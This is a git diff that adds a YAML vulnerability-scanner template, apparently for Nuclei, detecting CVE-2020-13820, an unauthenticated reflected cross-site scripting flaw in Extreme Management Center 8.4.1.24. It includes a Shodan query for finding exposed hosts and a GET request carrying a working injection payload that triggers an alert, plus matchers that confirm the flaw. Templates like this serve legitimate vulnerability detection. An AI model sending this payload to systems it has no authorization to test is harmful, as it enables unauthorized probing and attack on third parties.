diff --git a/cves/2020/CVE-2020-13820.yaml b/cves/2020/CVE-2020-13820.yaml
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+id: CVE-2020-13820
+
+info:
+  name: Extreme Management Center 8.4.1.24 - Cross Site Scripting
+  author: tess
+  severity: medium
+  description: |
+    Extreme Management Center 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request.
+  reference:
+    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
+    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2020-13820
+    cwe-id: CWE-79
+  metadata:
+    verified: true
+    shodan-query: title:"Extreme Management Center"
+  tags: cve,cve2020,xss,extremenetworks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "autofocus onfocus='alert(document.domain)"
+          - "Extreme Management Center"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200